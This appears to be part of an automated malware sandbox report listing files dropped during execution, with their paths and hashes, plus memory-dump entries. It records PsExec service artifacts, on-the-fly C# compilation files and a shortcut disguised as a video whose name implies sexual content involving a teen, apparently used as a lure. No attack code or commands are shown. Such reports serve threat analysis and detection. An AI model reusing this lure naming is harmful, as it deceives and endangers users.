
wmsetup.log

Path C:\Users\Admin\AppData\Local\Temp\wmsetup.log
Size 1KB
SHA256 657a89d1ede61107b96bb44b682da20dbdb3c5d256a71f2b9d8b625566e63f48
MD5 d7d683171a8908ca18608fa19f852fcf
SHA1 7d367f44b8f0eea57c22058698cefcaf44530564
SHA512 e76bdb5450ce9ed8f2d2b7c8b601c3f031e371fdbf075829769f0cd31d9be80b51635ca63fb6522af425d35476d23c73b0623dc7c6530eb462aca653a7b8230f
TLSH
T1F0213A574A0AF4B5CD6247A359CC8A2773B6A7CF9364D025B3CEA05E880213E173E17D
MD5 SHA1 SHA512 TLSH

Submit Download

ylg0qyou.dll

Path C:\Users\Admin\AppData\Local\Temp\ylg0qyou\ylg0qyou.dll
Size 3KB
SHA256 23d52b96bb2079a42d2521b1a5bb49e5349e4a1dab48fc3b5bb96505239050f7
MD5 ae86dea7af6f94ad2f5757119e334891
SHA1 c04f0d37fd3ab377eb2c52abee7caab4f9f4365b
SHA512 e830214738635d7eb3db11e9374d158ec10e36575cec21bb1cc67550d57c593c24f97fb9c5fdb27dd9612ec89671a2ab5247b98254824bb6bfadc24f1ca09c43
TLSH
T16251B91A63EC462BE4B747316EE303173BA4FC509B72936E5DC00269ACA1B546D32FB1
MD5 SHA1 SHA512 TLSH

Submit Download

teenSnapchatdihhfrombe.mp4.lnk

Path C:\Users\Admin\AppData\Local\Temp\PACK8\teenSnapchatdihhfrombe.mp4.lnk
Size 1KB
SHA256 d5c888e2f95eac51c079825fa242598e183fd45f97f1911962388ca0b78f72af
MD5 1eedb2ca86646eb3efae8663561cee3f
SHA1 cdbed85c39f2044c470b42d50e4c79ee5b9a86a2
SHA512 bdec160e5f5cdbd962bdeed13fc1604317661198b98e0f7dbd847b7f13798287a4e8cca43b375da5a3d6c0f4ad54576e857c689f642fb39711c04a7623f71c71
TLSH
T1FE21501425991714C3B39E3788BA53225676BD05FAB38F2A029156CC6C59741AC29F2E
MD5 SHA1 SHA512 TLSH

Submit Download

PSEXEC-NYPODJDV-77D4EC0F.key

Path C:\Windows\PSEXEC-NYPODJDV-77D4EC0F.key
Size 16B
SHA256 f6e2a9a2ba7277504ae93eedd6c118ca26544334b712d35a9ca0bebbe82ea458
MD5 abec127c639d2850c1d5e6196e4103ce
SHA1 3298f8a83f95fc1e2d4f2d84312fc0672482380e
SHA512 b87268b678ef91476c20f82b63f6427ca48ed0ca2ac3902e053234d0db0c106065ffe42588bc291df3a10ceb0313a640a053aeade7c25050bb4b7f4965a38799
MD5 SHA1 SHA512

Submit Download

PSEXESVC.exe

Path C:\Windows\PSEXESVC.exe
Size 189KB
SHA256 cc14df781475ef0f3f2c441d03a622ea67cd86967526f8758ead6f45174db78e
MD5 44118d8fb41634b3d8d8b1c6fdf9c421
SHA1 2c27a865b3ab1f0bd2ea1e8f7298b5ef9348c5ac
SHA512 ab62931669555dc1daf63f73f4d57a6d9bfc94dc087d859f7719648bad48d1626f9760f1b8cd7f76340943d8d69df1734bb657ca2b83855686792182809b07b4
SSDEEP 3072:iR+zpegrEiHunfFqNmIWhn01GGXqw7Wnh5rebFHh9aohhx0dUFyMLooZ3/3yqp/5:o+zpegrEiHuf+mZhn01N7Wnh5rebL9/9
TLSH
T1A2143921B2D08072E5F72A7019F4A6729A3EBD705F34D99F6794066E5E30BC1CA34B27
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

RESDB48.tmp

Path C:\Windows\SystemTemp\RESDB48.tmp
Size 1KB
SHA256 fa9a52d24f889df0abf92c6b21c51930df00f7ed179387785c7a71b3854eb28d
MD5 354051afc91f379bd18c76239e47acc0
SHA1 498cce0d313928c0d225d0735435a9ab76b53a4a
SHA512 6567164ae598c25b91878a5275e3c10b2748320111c4a052196600335d987e689274c2d329aa18a6496ad9c57b54a0ac2a133b1be4bd2227e7b418411df722d2
TLSH
T13A217B0553FD465AF0B74B3069FA132B9674FD55DEB2A3BE448402282C11640DFB1EB2
MD5 SHA1 SHA512 TLSH

Submit Download

tneysxhk.dll

Path C:\Windows\SystemTemp\tneysxhk\tneysxhk.dll
Size 3KB
SHA256 8f88577571394877fe5c75f2e7f5b358ad14d97425823ce6a98abc165f7ce5b5
MD5 c5d5367f3b5019d7bae58f469eb74ccc
SHA1 899c6b646743933b2f2ee7b174660f0d5d17eace
SHA512 c06851530dc6c8f930cff180bb250151e58faeeb28ffb7a5f6257d0d0676b3cc1bd662ce23a13c63c49df2ef7e57731e9c4faca4eec9d8f1b4ee9efa1f48c6e6
TLSH
T12D71E01A57E80A2BE4BB47346EF3472627B4F8508FB3976E0D9002696CA12645E71FB1
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 d70ce91a41931e76afc246f227cfb2912fcdaeefeded6fdc47e0d0ec7e71179b
MD5 a9d613a8393960976fa6176d56e4e277
SHA1 7eea602ae607b817d13725e57787459dc4845a0a
SHA512 47d105cd521aaf77ba56f650a997761d98d0ce827f235faad33c3a96e12b3ef32fd818aa496dfe377814e623b91f86bb87a18b2e4f44ee1ebb69ce85bd5f7252
TLSH
T1EB215937F3DC8614DC9A413A50CEAC1036B6C7DB809ECEABBB84D544B42F699DE61260
MD5 SHA1 SHA512 TLSH

Submit Download

CSCABA6BE0CECB24C039B7B575FD337D6.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\aklmii0t\CSCABA6BE0CECB24C039B7B575FD337D6.TMP
Size 652B
SHA256 1988980152b4b8fadecf3ea7f4d1e4c4d971b00198204974b52f15c0a211468c
MD5 b6bb6e8e4aeab70dd35398c32876a53a
SHA1 6e574aaef45b8e616fc7631a16031c69f2353992
SHA512 41355d19b1bd834e730778e7bb5df88d290e1793a1c9ec56e24662e5329b0599c1fa547ca2fa718db944f41abf606182ddc2193e6db3e416163275f56fe4989e
TLSH
T1D9F05E4A63F8520EF0F34B70BEF643A395A8BC64DE32A3ED1440131D68645208962FB2
MD5 SHA1 SHA512 TLSH

Submit Download

aklmii0t.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\aklmii0t\aklmii0t.cmdline
Size 369B
SHA256 e0cb366e83d1917f4afe73bf96114449807a77731516553d7dc00a2c00d3c28f
MD5 f830639518e7522bca8b879acc71895f
SHA1 cc1017cc4d3a8e77ea547548194cb67295e9a699
SHA512 2c98288d6ae55ec8444205d164e9ee69d171f244a0c0db662ec79fe2334fc514f95c185803c8c9e308c081a3139be945041e09a35f52857fc6805d079150af0e
TLSH
T107E0C02A4246C37D85FD1017236AC5ACC3F30F4339403F887150B81DD01710027D2787
MD5 SHA1 SHA512 TLSH

Submit Download

CSCA4967816FCDB4FEC9A13B133E26A49A4.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\gnn3ztwq\CSCA4967816FCDB4FEC9A13B133E26A49A4.TMP
Size 652B
SHA256 52d425b78a0978b8f0ab176841b6b4094aa38572ab44ece0a6fee573c984ccbb
MD5 7003b9c7f9dcb00e38dccfc51e0e0fd7
SHA1 5279d77a299e30879b533835f75f6a7dc1dedf9e
SHA512 f6ca61ec948c21c2b088126fc541dadf994dc3eb44b22814061f9974f2b69cab1631eadc9702a845764a5e54b49f0c0013b513f28cad1cbc3995cefbb6d77c3a
TLSH
T1A7F0540963F8520EF0F78B30BDF553679168BC65DE7293ED1454131D28745108662F71
MD5 SHA1 SHA512 TLSH

Submit Download

gnn3ztwq.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\gnn3ztwq\gnn3ztwq.0.cs
Size 290B
SHA256 e4a6569db6414ecaca0606e3219109df10ca83e6afd5c249505e0abd6fad7fbc
MD5 b850cc7f522f1c6adcc8f1113df52987
SHA1 bc74abb79e43f9c6fe2e9417548c162771cf8157
SHA512 dac062d74d0ca89161110a2c48163d8be293e11ccb27424546d2133b88f56008ea05de5275a7c56e9b19f3882789313c07d83159644f1f7a51d415a99b28b952
TLSH
T1F9D0C2086BE3FF2550139C2B494AD4FC7A235116227B1A20AAF803109F8F1459226A29
MD5 SHA1 SHA512 TLSH

Submit Download

gnn3ztwq.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\gnn3ztwq\gnn3ztwq.cmdline
Size 369B
SHA256 50be1ba3085191c8d82b48cd1d6eaaae45365257c0fb8d6eec518baae2d56b4a
MD5 0e1f2514e5d802123f2765a2c971dc92
SHA1 b4dbdde4d6b439dfda5d26bc523764c3144f6252
SHA512 623ed8ed4ecb2dd6a03d28cd7271de266dd9a8a6847ed68ccac195ea856e811caa6237a97aeb7e8de22e0fb4736148bf08be44f8770969c1223058a9e39bb3f8
TLSH
T19AE0C06A424AC3FD91ED11072169C4ACC37307432D4C3F8C906CC43DE11B08237D2741
MD5 SHA1 SHA512 TLSH

Submit Download

CSC2F0102C780647C8BD5E7A5634B38DC5.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\iahfwlkd\CSC2F0102C780647C8BD5E7A5634B38DC5.TMP
Size 652B
SHA256 a81d6ba2c26f9f6e251fd8e0d4f8949f75e11bb09ded96b6d4c9fa91b71b5b56
MD5 0a34a7ca63ee47f5329702c4eada6615
SHA1 4e6a73a481a7d1d3fd91cef677c1bf390d5085b8
SHA512 eb02706a55e0c4af323635a414ea260fd68ce4d3d61213dea7abdb7686ecfb064f6cc4bc9a6f88f9df87292e2d10f82bfd8e47d4c03871e5b80fc1d80678bb71
TLSH
T129F08209B3F8520EF0F35B30BEF6436391A8BC64DE3293ED1480032D2C646108962FB2
MD5 SHA1 SHA512 TLSH

Submit Download

iahfwlkd.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\iahfwlkd\iahfwlkd.0.cs
Size 376B
SHA256 55903f625d225a5e452a7ddd9052498550908c911735fe85e231bfff1cbbab8d
MD5 d2cfdf873cbe9f705406f31e183a9072
SHA1 47ba8d465312648b90c0df4cfce606a6290e7311
SHA512 3a9f8429d220a72a03a2ec17b36f4c7cf9a3052102ff90df18c0323fefb9614ebcb4c9c8a407399358e8a1c9470bcee34f12499d1ff88b68334ce16cce6ed2ed
TLSH
T10BE0921826A1E72124978C1E8ADED0BDF623D07617FB2E10AAFC0311DE830494236A16
MD5 SHA1 SHA512 TLSH

Submit Download

iahfwlkd.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\iahfwlkd\iahfwlkd.cmdline
Size 369B
SHA256 cb7f57b88c1e2187a5bd22b92657696fe245dd6c296b01590f4b61d09db7df45
MD5 9fce05345fd2f43f9340c59273f70f26
SHA1 2df7193e64438c5d9cad83e9b275748ba43fc5aa
SHA512 e07cf24e390937cd982dcd1a1823e709bb277257996cdb5bedc891573bca348f7091d7e750b37f76d43b82b662186f1d50ab6f3a816ed7145ecef67fb94af634
TLSH
T1D9E0C02AAE46C27F01DD11072169C5ECD6B20B432980BFC470C0442DD05F0202FF176A
MD5 SHA1 SHA512 TLSH

Submit Download

CSCB1037C70851D4E3A8F562730B7E5163D.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\ylg0qyou\CSCB1037C70851D4E3A8F562730B7E5163D.TMP
Size 652B
SHA256 77637ee2ebf7a9d80a7bf209765fb649368c43f654fc3e521eabf4c7d0857fc1
MD5 7291bbba91d13a551d9e6de23be344c9
SHA1 8877eab685c9324d46d4623613c552e24269bfe1
SHA512 860d7d53a0cc32356d81eafb29a5d11f252a302eb73410866cec65f7a625b16b949bfe93d74d22f9aa489abe2af318a9dcddbe974bb20f1d70611bd97a15fdca
TLSH
T144F05E0A63F8420EF0F34B31BDF643A391A9BC65DE7293ED584113192C646148962FB2
MD5 SHA1 SHA512 TLSH

Submit Download

ylg0qyou.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\ylg0qyou\ylg0qyou.0.cs
Size 184B
SHA256 6646b73b09f82115cdd2afdbf5c716a21bf2bc517f70146d925ea49ebf41fbe4
MD5 6f606ef87e6fa4491f50e49e70e118d6
SHA1 29bd5484896934c706972893fa479efb735277db
SHA512 6f7035a77a772b5d4ebc09adea2f28217487c59deb77f7d1ad1f1eaefc3b352a72630ec1cbc9e58122ed042fd3533cb5c08cf88aa51d14c40f15bdf6352adfad
TLSH
T1ECC0121827F3BF348003483B4A0AD4E97F23510726AA5E11BAFC0211CF8B0045121D2A
MD5 SHA1 SHA512 TLSH

Submit Download

ylg0qyou.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\ylg0qyou\ylg0qyou.cmdline
Size 369B
SHA256 16f175943b5b092bf455ae0c9b7487df21fce164c27695a6da3d85108f0ccb45
MD5 d69a23525abd1178ee3f946a1bbb9a58
SHA1 98884a4a1f15bf0fc519da1e7ffa0be46cc34190
SHA512 403f9717572a790aaad2d82a69d96d021bfbada18676492f75c808d449b5efaf15f35dbd30f82bc549f212a378dee27abe0056f7d602c02f26a8af2ae05e02c2
TLSH
T1C6E0C62A625FC2BD01ED100B236EC4ACE2722FC329893FA498C0840DF077A013BD2F81
MD5 SHA1 SHA512 TLSH

Submit Download

CSC1D6C9F2CD0284D558D57E43629DBD4A8.TMP

Path \??\c:\Windows\SystemTemp\tneysxhk\CSC1D6C9F2CD0284D558D57E43629DBD4A8.TMP
Size 652B
SHA256 1de9722d8eabee6f1ccd36737960894ba99a386b1befce7e8e16b2a66d72156e
MD5 e1f0c3653485dc05dc36e493713bd64f
SHA1 88677b634cbc5b8c173fe2aaeb4c1fe8340506da
SHA512 962c758ce8ef16eaac6a1fa30ac301011c2a28bf0de3738f2e6ced9f6c6407955d7fde35cd5e63362f9fcaad0cc69f3f7d8bbe8dc851298f58229fc11a5e6244
TLSH
T148F05E4963F8020EF0F74B30BDF6436791A8BC64DEB2A3ED1840032D2864614CA72FB2
MD5 SHA1 SHA512 TLSH

Submit Download

tneysxhk.cmdline

Path \??\c:\Windows\SystemTemp\tneysxhk\tneysxhk.cmdline
Size 345B
SHA256 8fb32e044252c3734cb1bd255d2cb6ac9c32b21fd90ec70e83385927ff10b30d
MD5 aab02e1d744f58d39e1b724a3c0fec7a
SHA1 117d3b8fdbe4541a1852bc6f08c63b8dd48208a1
SHA512 ccf5bf2c7e38a15856daf025a840e915b15b76f53e5d764f9b9581eaabeb04da2f326c7e9a82a939278ab58020f635e476eb5b56fa28c9ce02fe979c2f998ad4
TLSH
T162E0263A6235C5B891ED150B213FD5BC8FF293832040BFA4B5C61059E1372010BB2798
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1404-101-0x00000254E3190000-0x00000254E319A000-memory.dmp

Download

memory/1404-100-0x00000254E2FD0000-0x00000254E3082000-memory.dmp

Download

memory/1404-78-0x00000254E2D00000-0x00000254E2D08000-memory.dmp

Download

memory/1404-102-0x00000254E3310000-0x00000254E332E000-memory.dmp

Download

memory/1404-91-0x00000254E2F70000-0x00000254E2F78000-memory.dmp

Download

memory/1404-99-0x00000254E2FB0000-0x00000254E2FCE000-memory.dmp

Download

memory/1404-48-0x00000254E2B90000-0x00000254E2BB2000-memory.dmp

Download

memory/1404-65-0x00000254E2BC0000-0x00000254E2BC8000-memory.dmp

Download

memory/2796-186-0x000001D52BAF0000-0x000001D52BAF6000-memory.dmp

Download

memory/2796-175-0x000001D52B430000-0x000001D52B44A000-memory.dmp

Download

memory/2796-184-0x000001D52BB00000-0x000001D52BB1C000-memory.dmp

Download

memory/2796-174-0x000001D52B2B0000-0x000001D52B2BE000-memory.dmp

Download

memory/2796-168-0x000001D5127A0000-0x000001D5127A8000-memory.dmp

Download

memory/2796-183-0x000001D52BAD0000-0x000001D52BADA000-memory.dmp

Download

memory/2796-185-0x000001D52BAE0000-0x000001D52BAE8000-memory.dmp

Download

memory/2796-187-0x000001D52BB20000-0x000001D52BB2A000-memory.dmp

Download

memory/2796-171-0x000001D52B1F0000-0x000001D52B2A2000-memory.dmp

Download

memory/2944-40-0x0000000007840000-0x0000000007850000-memory.dmp

Download

memory/2944-38-0x0000000007840000-0x0000000007850000-memory.dmp

Download

memory/2944-39-0x0000000007840000-0x0000000007850000-memory.dmp

Download

memory/2944-37-0x0000000007840000-0x0000000007850000-memory.dmp

Download

memory/2944-54-0x0000000007840000-0x0000000007850000-memory.dmp

Download

memory/2944-53-0x0000000007840000-0x0000000007850000-memory.dmp

Download

memory/2944-56-0x0000000007840000-0x0000000007850000-memory.dmp

Download

memory/2944-57-0x0000000007840000-0x0000000007850000-memory.dmp

Download

memory/3612-143-0x000002555CAB0000-0x000002555CAB8000-memory.dmp

Download

memory/5056-124-0x0000020852720000-0x0000020852736000-memory.dmp

Download

memory/5056-123-0x00000208526E0000-0x00000208526FA000-memory.dmp

Download